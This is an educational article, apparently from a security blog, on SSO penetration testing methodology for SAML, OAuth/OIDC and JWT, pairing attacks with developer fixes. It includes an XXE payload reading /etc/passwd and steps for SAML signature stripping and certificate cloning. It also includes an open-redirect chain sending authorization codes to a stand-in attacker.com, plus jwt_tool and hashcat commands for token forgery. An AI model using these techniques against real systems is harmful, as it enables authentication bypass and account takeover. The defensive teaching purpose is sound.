Deep Dive: Hacking OAuth and SSO (Real SSO Penetration Testing Methodology)

Most SSO implementations fail the same way. Not because SAML, OAuth, or OIDC are broken protocols. Because developers skip the security features those protocols offer and treat “optional” as “unnecessary.”

Here’s the thing. The IETF published RFC 9700 in January 2025, updating OAuth security best practices for the first time since 2020. Every vulnerability addressed in that document represents an attack that worked in production. Doyensec published a comprehensive OAuth vulnerability guide with a checklist that reads like a greatest-hits album of mistakes developers keep making. PortSwigger’s Zak Fedotkin demonstrated full SAML authentication bypass in GitLab Enterprise at Black Hat Europe 2025, calling into question whether SAML can be fundamentally secured given its reliance on 20-year-old XML parsing.

Meanwhile, in the real world: Fortinet’s FortiGate SSO bypass (CVE-2025-59718, CVE-2026-24858) gave attackers unauthenticated admin access through crafted SAML messages. The Salesloft-Drift breach exploited OAuth tokens across 700+ organizations. OAuth consent phishing campaigns hit 900+ Microsoft 365 tenants through device-code flow abuse.

This article breaks down how SSO penetration testing actually works. What you test, how you test it manually, what the real vulnerabilities look like, and what the fixes are. Written for developers and architects who build and maintain SSO integrations.

What SSO Penetration Testing Actually Covers

A standard web application pentest tests one app for injection flaws, broken access control, and business logic issues. SSO penetration testing is a different animal entirely. The target is the authentication trust chain between systems, not any individual application.

The scope of SSO penetration testing includes four areas:

IdP configuration. How the identity provider issues assertions or tokens. Which signing algorithms are used. How trust relationships are configured with each service provider. Whether MFA enforcement can be bypassed during SSO flows.

SP integration. How each application validates what it receives, whether that’s SAML assertions, OAuth tokens, or JWTs. Whether signature validation is actually mandatory or just assumed. How user identity is extracted from tokens and matched to local accounts.

Token lifecycle. How tokens are issued, what claims they contain, how long they live, whether refresh tokens rotate, and whether revocation works across every connected application.

Session management. What happens after SSO authentication succeeds. How sessions persist. Whether single logout terminates access everywhere or just on the app where the user clicked “logout.”

The reason this matters: a single SSO vulnerability is a force multiplier. One bypass grants access to every connected application. That’s why Fortinet’s SSO bypass was rated CVSS 9.8 and added to CISA’s Known Exploited Vulnerabilities catalog within days of discovery.

SSO Penetration Testing: The SAML Attack Surface

SAML has been the backbone of enterprise SSO for over 20 years. The security research community has found enough structural problems that the conversation has shifted from “how do we fix SAML” to “can SAML be fixed at all.”

PortSwigger’s 2025 Black Hat Europe research introduced new attack variants including attribute pollution, namespace confusion, and void canonicalization attacks. The corresponding CVE-2025-66568 and CVE-2025-66567 were patched in Ruby-SAML in December 2025. The Samlify library had CVE-2025-47949 allowing complete authentication bypass. Fortinet’s FortiCloud SSO was breached via crafted SAML messages in multiple waves across 2025 and into January 2026.

Here’s what to test and how to test it.

Signature Exclusion

What you’re testing: Whether the SP verifies SAML signatures when present but silently accepts unsigned assertions.

This is the most basic SAML check and it still catches people. CVE-2025-47949 in Samlify worked exactly this way. Applications accepted unsigned assertions as valid.

How to test it manually:

Step 1: Intercept the SAMLResponse in Burp Suite
        (Base64-encoded POST parameter)
Step 2: Decode Base64 to raw XML
Step 3: Remove the entire <ds:Signature> block
Step 4: Modify <saml:NameID> to a different user
Step 5: Re-encode to Base64 and forward to the SP
Step 6: Check if the SP creates a session for the modified identity

Test this against every SP integration separately. Different SPs in the same SSO environment often use different SAML libraries with different validation behaviors. One SP might reject unsigned assertions while another accepts them.

XML Signature Wrapping (XSW)

What you’re testing: Whether the SP can be tricked into validating the signature against one part of the XML document while processing identity claims from a different, attacker-controlled part.

This class has been documented since 2012 and new variants keep appearing because XML parsing is inherently complex. SAML Raider (Burp Suite extension) automates the 8 standard XSW variants.

How to test it manually:

Step 1: Open the SAML Raider tab in Burp
Step 2: Apply each XSW variant (XSW1 through XSW8)
Step 3: For each variant, modify the attacker-controlled
        assertion's NameID to a target user
Step 4: Forward and check which identity the SP grants

Beyond the standard 8, also test comment injection between XML tags and namespace prefix manipulation. Some parsers reconstruct the document differently after stripping comments, breaking the relationship between signed content and processed content. PortSwigger’s 2025 research showed these novel techniques bypassing previously patched implementations.

XXE and XSLT Injection

What you’re testing: Whether the XML parser behind the SAML endpoint allows external entity resolution or XSLT processing. This is exploitable even without a valid SAML assertion because XML parsing happens before signature validation.

CVE-2022-35741 in Apache CloudStack’s SSO demonstrated this. The SAML endpoint was reachable from the internet, and the XML parser processed external entities.

Test payload:

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

Also test blind XXE (out-of-band via DNS or HTTP callbacks) and XSLT injection in the signature’s Transform elements.

Assertion Replay and Timestamps

What you’re testing: Whether the SP enforces NotOnOrAfter timestamps and whether it tracks consumed assertion IDs to prevent replay.

Step 1: Capture a valid signed assertion
Step 2: Wait until after NotOnOrAfter expires
Step 3: Replay the same assertion
Step 4: If accepted, timestamp validation is broken

Step 5: Replay the same assertion a second time (before expiry)
Step 6: If accepted twice, replay detection is missing

Check whether assertion ID tracking uses in-memory storage (wiped on app restart) or a persistent store like Redis. Memory-only replay caches mean an application restart makes all previously consumed assertions reusable.

SAML Certificate and Signing Key Theft

What you’re testing: Whether an attacker can obtain, clone, or substitute the IdP signing certificate to forge arbitrary SAML assertions.

If an attacker gets the IdP’s private signing key, they can mint SAML assertions for any user, any role, any application in the entire SSO ecosystem. That’s full impersonation of every identity in the organization. Several attack paths lead here.

IdP metadata endpoint exposure. Most SAML IdPs publish metadata at a well-known URL (like /saml/metadata or /federationmetadata/2007-06/federationmetadata.xml). This metadata includes the IdP’s public certificate. The public cert alone doesn’t let you forge assertions (you need the private key for that). But it gives you the exact certificate fingerprint, algorithm, and key length, which is useful for targeted attacks.

Certificate substitution. SAML Raider’s Certificates tab lets you clone the legitimate IdP certificate and generate a self-signed copy with identical attributes but a key pair you control. If the SP validates the assertion signature but doesn’t pin the IdP certificate (meaning it accepts any valid signature, not just one from the expected certificate), you can sign forged assertions with your cloned certificate and the SP accepts them.

How to test it manually:

Step 1: Extract the IdP certificate from SAML metadata or from
        a captured SAMLResponse (it's in the <ds:X509Certificate> element)
Step 2: In SAML Raider > Certificates tab, import the IdP cert
Step 3: Clone the certificate (creates a self-signed copy
        with your own private key)
Step 4: Intercept a SAMLResponse, re-sign the assertion
        using your cloned certificate
Step 5: If the SP accepts it, certificate pinning is absent

Key theft through SSRF or file read. If you find an SSRF or file-read vulnerability anywhere in the IdP environment, target the private key file directly. For common IdP deployments: Shibboleth stores keys in /opt/shibboleth-idp/credentials/, ADFS uses certificate stores accessible via PowerShell, and Keycloak stores keys in its database or Java keystore. A successful key theft gives the attacker a persistent, undetectable ability to forge any identity assertion.

Weak key generation. Check whether the IdP signing certificate uses RSA 1024-bit (breakable) or has an excessively long validity period (10+ years is common and means the key will never be rotated). Some organizations have been running the same SAML signing key since their initial IdP deployment and have never rotated it.

The Fortinet SSO bypass (CVE-2025-59718) worked because the FortiCloud SSO feature accepted crafted SAML messages that bypassed authentication entirely. Arctic Wolf observed attackers logging in as admin accounts, exporting firewall configurations, and extracting hashed credentials. By January 2026, CVE-2026-24858 hit the same surface again on already-patched devices, showing that SAML trust chain weaknesses in the same product can persist across multiple vulnerability cycles.

SSO Penetration Testing: The OAuth 2.0 and OIDC Attack Surface

OAuth vulnerabilities are fundamentally different from SAML. SAML problems are cryptographic and XML-related. OAuth problems are logic bugs: incorrect URL validation, missing parameters, broken token handling, and trust assumptions that fail under adversarial conditions.

The OWASP Web Security Testing Guide (WSTG) has dedicated sections for OAuth testing: authorization server weaknesses (WSTG-AUTHZ-05.1) and client weaknesses (WSTG-AUTHZ-05.2). Doyensec’s 2025 OAuth cheat sheet covers the full attack taxonomy. The Hacker Recipes maintains an excellent OAuth exploitation flow diagram. These are the actual references practitioners use.

Redirect URI Validation

What you’re testing: Whether the authorization server validates redirect_uri using exact string matching (required by RFC 9700) or loose pattern matching that can be bypassed.

This is the most commonly exploited OAuth vulnerability. The Booking.com OAuth flaw used an open redirect on a trusted subdomain to intercept authorization codes. The pattern repeats constantly.

Test all of these variations:

Original: redirect_uri=https://app.target.com/callback

Test 1: https://evil.target.com/callback      (subdomain)
Test 2: https://app.target.com/callback/../x   (path traversal)
Test 3: https://app.target.com/callback?x=evil (param injection)
Test 4: https://app.target.com/callback#@evil  (fragment)
Test 5: https://app.target.com/go?url=evil.com (open redirect chain)
Test 6: http://localhost:8080/callback          (localhost)
Test 7: http://app.target.com/callback          (scheme downgrade)

If any variation is accepted, look for open redirects anywhere on the target domain. Marketing subdomains, documentation sites, and support portals are common locations. Chain the open redirect with the loose redirect_uri validation to steal authorization codes via the Referer header.

As the OWASP Testing Guide puts it: validate the redirect_uri by comparing the exact string including scheme, hostname, port, and path. No pattern matching. No wildcards.

Open Redirect Chaining

What you’re testing: Whether open redirects anywhere on the target’s domain can be weaponized to steal OAuth authorization codes or tokens, even when the authorization server’s redirect_uri validation looks correct.

This is one of the most common real-world SSO penetration testing findings. The authorization server validates that the redirect_uri belongs to target.com. The attacker finds an open redirect on blog.target.com/go?url= or docs.target.com/redirect?to=. They set the redirect_uri to the open redirect endpoint, which bounces the authorization code to an attacker-controlled server. The code (or token, in implicit flows) leaks through the URL or the Referer header.

The Booking.com OAuth vulnerability used exactly this chain. The OWASP Testing Guide flags it specifically: after any successful redirect_uri test, check whether the page at the redirect endpoint contains links to external resources, third-party iframes, images, or scripts. All of these can leak the authorization code via Referer.

How to test it manually:

Step 1: Map every redirect/forward endpoint on the target domain
        (marketing links, docs, support, URL shorteners)
Step 2: Confirm each open redirect works standalone
        https://blog.target.com/go?url=https://attacker.com
Step 3: Construct a chained OAuth flow:
        redirect_uri=https://blog.target.com/go?url=https://attacker.com
Step 4: If the authorization server accepts this redirect_uri,
        complete the flow and check if the code arrives at attacker.com
Step 5: Even if redirect_uri is validated tightly, check the page
        at the legitimate callback URL for external resource loads
        that leak the code via Referer header

Also test with response_mode variations. If the server supports response_mode=fragment, the token ends up in the URL fragment which doesn’t get sent in Referer headers but can be read by JavaScript on the page. If there’s XSS on the callback page, the fragment is exposed.

PKCE Enforcement

What you’re testing: Whether the token endpoint requires a code_verifier parameter. Without PKCE, intercepted authorization codes can be exchanged by anyone. RFC 9700 now mandates PKCE for all OAuth clients.

Step 1: Initiate an OAuth flow, capture the authorization code
Step 2: From a different browser/session, submit the code
        to the token endpoint WITHOUT code_verifier
Step 3: If tokens are returned, PKCE is not enforced
Step 4: Test authorization code injection by using your
        own code in another user's callback

The OWASP OAuth Authorization Server Testing Guide also recommends testing whether PKCE can be stripped from the flow entirely. Some servers support PKCE when provided but don’t require it.

Scope Escalation and Token Lifecycle

What you’re testing: Whether the application backend validates which scopes were actually authorized, and whether token lifecycle controls (rotation, revocation, lifetime limits) are properly implemented.

OAuth consent phishing is the fastest growing OAuth attack vector. Proofpoint identified multiple clusters exploiting device-code flows against Microsoft 365 tenants in 2025. Tools like SquarePhish and ODx automate the attack sequences.

Step 1: Complete a normal OAuth flow, capture tokens
Step 2: Decode the access token and note granted scopes
Step 3: Initiate a new flow requesting expanded scopes
Step 4: Verify whether the backend validates scope boundaries
Step 5: Test refresh token behavior:
        - Does the token rotate on each use?
        - Does password change revoke it?
        - What's the maximum lifetime?
        - Can a revoked token still be exchanged?

The Salesloft-Drift breach is the textbook example here. Attackers compromised GitHub access in March 2025, stole OAuth refresh tokens, and used them through August to access Salesforce instances at 700+ organizations. The tokens persisted for months because refresh tokens outlived password resets.

State Parameter and CSRF

What you’re testing: Whether the state parameter is present, cryptographically random, bound to the user’s session, and validated on callback.

HackTricks maintains a practical checklist for state handling. Missing state entirely means the whole login is CSRF-able. State not required at the server means defense is opt-in. Returned state not validated means tampered values are accepted. Predictable state (like JSON blobs without entropy) means attackers can guess valid values.

Account Linking Vulnerabilities

What you’re testing: How the application resolves identity when a user authenticates via OAuth. If the app uses email from the OAuth provider to match local accounts without additional verification, an attacker who controls a different OAuth provider with the same email can take over accounts.

Doyensec documented this pattern: an attacker creates their own Azure AD organization, authenticates via Microsoft OAuth, and the application matches them to an existing account based on the email claim. The OAuth spec identifies users by the sub field, but many applications fall back to email because sub formats vary across providers.

SSO Penetration Testing: The JWT Attack Surface

JWTs sit at the intersection of every SSO protocol. OIDC uses them for ID tokens. Many OAuth implementations use them for access tokens. Most applications use them for session management after SSO authentication.

Algorithm Confusion

What you’re testing: Whether the application accepts HS256-signed tokens when it’s configured for RS256. If the server uses the RSA public key (which is publicly available at the JWKS endpoint) as the HMAC secret, the attacker can forge arbitrary tokens.

bash

# Download the JWKS
curl https://target.com/.well-known/jwks.json > jwks.json

# Attempt algorithm confusion
python3 jwt_tool.py TARGET_TOKEN -X k -pk public_key.pem

# Test "alg: none" bypass
python3 jwt_tool.py TARGET_TOKEN -X a

# Test kid injection (path traversal, SQLi)
python3 jwt_tool.py TARGET_TOKEN -I -hc kid \
  -hv "../../dev/null" -S hs256 -p ""

# Brute-force weak HS256 secrets
hashcat -a 0 -m 16500 TARGET_TOKEN wordlist.txt

The OpenID Foundation disclosed CVE-2025-27371 in 2025 for ambiguities in how JWT audience values are used in OAuth/OIDC client authentication. While no known compromises resulted (researchers caught it proactively), it demonstrates that even spec-level issues in JWT handling create exploitable conditions.

Claim Tampering and Storage

What you’re testing: Whether the application enforces claims beyond just verifying the signature, and how tokens are stored client-side.

Step 1: Decode the JWT
Step 2: Modify sub, role, tenant_id, scope, email claims
Step 3: Re-sign using whichever attack technique works
Step 4: Verify the app enforces each claim independently
Step 5: Check token storage:
        - HttpOnly cookies = correct
        - localStorage = XSS-vulnerable
        - sessionStorage = still XSS-vulnerable

Also test revocation. Most JWT implementations rely on expiration because JWTs are stateless. If a user logs out but the token has 30 minutes left, it’s still usable. Check for server-side revocation lists or short-lived tokens with refresh rotation.

The Complete SSO Penetration Testing Checklist

SAML

  • Signature exclusion (remove ds:Signature, test acceptance)
  • All 8 XSW signature wrapping variants (SAML Raider)
  • Comment injection and namespace manipulation
  • Certificate cloning and substitution (SAML Raider Certs tab)
  • Certificate pinning validation (does SP accept self-signed clones?)
  • IdP signing key exposure (metadata endpoints, SSRF to key files)
  • Weak key checks (RSA 1024-bit, never-rotated certificates)
  • Assertion replay after NotOnOrAfter
  • Assertion ID uniqueness enforcement
  • XXE injection in SAML parsing endpoint
  • XSLT injection in signature transforms
  • Audience restriction bypass (modify Audience URI)
  • InResponseTo validation
  • NameID format manipulation

OAuth/OIDC

  • Redirect_uri exact match (all 7 variations)
  • Open redirect discovery across all subdomains
  • Open redirect chaining with redirect_uri
  • Referer header leakage of authorization codes
  • response_mode manipulation (fragment vs query)
  • PKCE enforcement at token endpoint
  • Authorization code injection (cross-session replay)
  • State parameter validation and entropy
  • Scope restriction enforcement
  • Implicit flow downgrade acceptance
  • Refresh token rotation and revocation
  • Client secret exposure in frontend code
  • Device code flow abuse testing
  • Token lifetime analysis
  • Account linking via email matching

JWT

  • Algorithm confusion (RS256 to HS256)
  • “alg: none” bypass
  • Key ID (kid) injection
  • JWK/JKU header injection
  • Claim tampering (sub, role, tenant, scope)
  • Expiration enforcement
  • Weak HMAC secret brute-force
  • Token storage location
  • Server-side revocation capability

SSO Penetration Testing Toolkit

ToolPurposeProtocol
Burp Suite + SAML RaiderSAML interception, XSW attacks, cert cloningSAML
jwt_toolJWT analysis, algorithm attacks, claim tamperingJWT
Hashcat (mode 16500)HS256 secret brute-forcingJWT
PostmanOAuth flow testing, token manipulationOAuth/OIDC
EvilGinx2Adversary-in-the-middle SSO phishingAll
NucleiAutomated SSO misconfiguration templatesAll
SAMLTool.comOnline SAML response decoderSAML
oauth.toolsInteractive OAuth flow debuggerOAuth/OIDC

What Developers Get Wrong

Let’s be real about the patterns that keep repeating across SSO penetration testing engagements.

Treating “optional” as “unnecessary.” PKCE, strict redirect_uri matching, SAML signature enforcement, JWT algorithm whitelisting. All technically optional in the specs. All essential in practice. Every SSO penetration testing finding list includes at least one of these.

Using email for identity matching. The OAuth spec says use the sub field. Developers use email because it’s human-readable and consistent across providers. This creates account takeover paths through identity provider manipulation. Doyensec, HackTricks, and Truffle Security have all documented real exploits.

Ignoring token lifecycle. Issuing refresh tokens with 90-day lifetimes, no rotation, and no revocation on password change. This is what made the Salesloft-Drift breach possible. The tokens outlived every other security control.

Testing one SP and assuming the rest are fine. Different SP integrations use different libraries. Ruby-SAML had signature wrapping vulnerabilities. Samlify had signature exclusion. If you test one SP and call it done, you’re testing one library and ignoring the rest.

Storing JWTs in localStorage. XSS in any page of the application equals complete token theft. HttpOnly cookies with Secure and SameSite flags exist for exactly this reason.

The Bottom Line

SSO protocols have mechanisms to prevent every attack in this article. PKCE prevents code interception. Exact redirect_uri matching prevents token theft. SAML signature enforcement prevents assertion forgery. JWT algorithm whitelisting prevents confusion attacks.

The problem is that these mechanisms are optional, and developers skip them because they add complexity without visible functionality. SSO penetration testing finds out whether your implementation uses them or just assumes someone else did.

Given that a single SSO bypass grants access to every connected application, this is probably the highest-ROI security test you can run.

FAQ

What is SSO penetration testing and how is it different from a regular pentest?

SSO penetration testing targets the authentication protocols (SAML, OAuth, OIDC) and token mechanisms (JWT) connecting your identity provider to your applications. A regular pentest tests individual application vulnerabilities. SSO penetration testing examines the trust chain between systems. One vulnerability can compromise every connected application simultaneously, making it a fundamentally different risk profile from testing applications in isolation.

What real-world breaches resulted from SSO and OAuth vulnerabilities?

The Salesloft-Drift breach (August 2025) exploited OAuth tokens to access Salesforce at 700+ organizations including Cloudflare, Palo Alto Networks, and Zscaler. Fortinet’s SSO bypass (CVE-2025-59718, CVE-2025-59719, CVE-2026-24858) allowed unauthenticated admin access to FortiGate firewalls via crafted SAML messages. CVE-2025-47949 in Samlify enabled complete authentication bypass. Microsoft 365 consent phishing hit 900+ tenants through OAuth device-code abuse. PortSwigger demonstrated SAML bypass in GitLab Enterprise at Black Hat Europe 2025.

How often should organizations run SSO penetration testing?

At minimum annually and after any change to IdP configuration, OAuth integrations, or JWT implementation. Given the pace of new SSO vulnerabilities throughout 2025 and 2026, biannual testing makes sense for organizations with more than 10 SP integrations. Every new SP integration should trigger scoped SSO penetration testing before going to production. The SecuRing SSO penetration testing methodology recommends gray-box testing that includes both protocol-level checks and web application security testing of the SSO endpoints.

Follow Us on XHack LinkedIn and XHack Twitter

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top